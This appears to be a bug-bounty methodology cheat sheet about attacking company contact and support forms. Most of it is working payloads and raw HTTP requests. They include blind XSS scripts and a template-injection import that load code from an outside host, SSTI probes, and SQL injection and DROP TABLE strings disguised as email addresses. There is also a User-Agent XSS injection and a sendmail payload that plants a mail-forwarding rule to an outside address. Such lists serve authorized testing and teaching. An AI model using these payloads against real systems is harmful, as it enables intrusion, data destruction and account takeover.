Contact

Support Of The Company

Email Address

Describe Your Issue

Message

Mahmoud M. Awali

@0xAwali

attacker

My Methodology

Try To Inject Blind XSS Payloads e.g. "><script src=https://me.xss.ht></script> In All Field To Get BXSS

- Writeup
- Writeup
- Slides

```
POST /contact HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

email=me@gmail.com&title="><script
src=https://me.xss.ht></script>&meassage="><script
src=https://me.xss.ht></script>
```

attacker

My Methodology

Try To Inject Blind Template Injection Payloads e.g. {{constructor.constructor('import("http://me.xss.ht")')()}} On All Field To Get Blind XSS On The Admin Panel

- Tweet

```
POST /contact HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number

email=me@gmail.com&title={{constructor.constructor('import("http://me.xss.ht")')()}}
&message={{constructor.constructor('import("http://me.xss.ht")')()}}
```

attacker

My Methodology

Try To Inject Blind Template Injection Payloads e.g. "><img src=https://me.xss.ht/${{7*7}}.jpg> On All Field To Get SSTI

- **Tweet**

```
POST /contact HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number

email=me@gmail.com&title="><img src=https://me.xss.ht/${{7*7}}.jpg>&message="><img src=https://me.xss.ht/${{7*7}}.jpg>
```

attacker

My Methodology

Try To Inject Blind XSS OR XSS Payloads e.g. <object data=data:text/html; base64,BXSS OR XSS Base64 Encoding></object>? In Body Of Message To Get XSS

- Writeup

```
POST /contact HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

email=me@gmail.com&title=Issue&meassage=<object
data=data:text/html; base64,Ij48aW1nIHNyYz0vL21lLnhz
cy5odD4=></object>?
```

attacker

My Methodology

Try To Contact Support Of The Company By Using This List With Burp Collaborator Mail Address To Get Backend Information OR Internal IPs

- Slides
- Tweet
- Tweet
- Video
- Blog

me@id.collaborator.net
user(;me@id.collaborator.net)@gmail.com
me@id.collaborator.net(@gmail.com)
me+(@gmail.com)@id.collaborator.net
<me@id.collaborator.net>user@gmail.com

attacker

My Methodology

Try To Contact Support Of The Company By Using This List Of Payloads As Email Addresses To Get XSS , SSTI , SQLi OR Abusing Of Database

- Tweet
- Tweet
- Tweet
- Video
- Writeup

```
me+(<script>alert(0)</script>)@gmail.com
me(<script>alert(0)</script>)@gmail.com
me@gmail(<script>alert(0)</script>).com
"<script>alert(0)</script>"@gmail.com
"<%= 7 * 7 %>"@gmail.com
me+(${{7*7}})@gmail.com
"' OR 1=1 -- "'@gmail.com
"me); DROP TABLE users;--"@gmail.com
me@[id.collaborator.net]
%@gmail.com
```

attacker

My Methodology

While Contacting Support Of The Company , Try To Replace User Agent Header To Blind XSS e.g. User-Agent: "><script src=https://me.xss.ht/"></script>"); OR Use BurpBXSS

- Tweet
- Tweet

```
POST /contact HTTP/1.1
Host: www.company.com
User-Agent: "><script src=https://me.xss.ht/"></script>");
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=me@gmail.com&title=issue&meassage=hi
```

attacker

My Methodology

While Contacting Support Of The Company Try To Use Race Condition Technique To Send Multiple Message

- **Writeup**

Steps to produce :-

1 - While Sending Try To Intercept The Request
2 - Send To Turbo Intruder
3 - Use Race File To Do Race Condition

attacker

My Methodology

If You Can't Find The Contact Form Try To Use Admin Email Then Inject Blind XSS OR XSS Payloads By Using Sendmail Tool In Linux

- Writeup

Steps to produce :-

1 - Open Your Terminal
2 - Cat payload.txt

```
From: jouko@klikki.fi
To: jouko@hey.com
Subject: HackerOne test
MIME-Version: 1.0
Content-type: text/html

<style>
url(cid://\00003c\000027message-content\00003e\00003ctemplate\00003e\00003cstyle\00003exxx);
uri(cid://\00003c\style\00003e\00003c\template\00003e\00003c\message-content\00003e\00003cform\000020action=/my/
accounts/266986/forwardings/outbounds\000020data-
controller=beacon\00003e\00003cinput\000020type=text\000020name=contact_outbound_forwarding[to_email_address]
\000020value=joukop@gmail.com\00003e\00003c\form\00003exxx);
</style>
```

3 - sendmail -t < payload.txt

Thank You

Mahmoud M. Awali

@0xAwali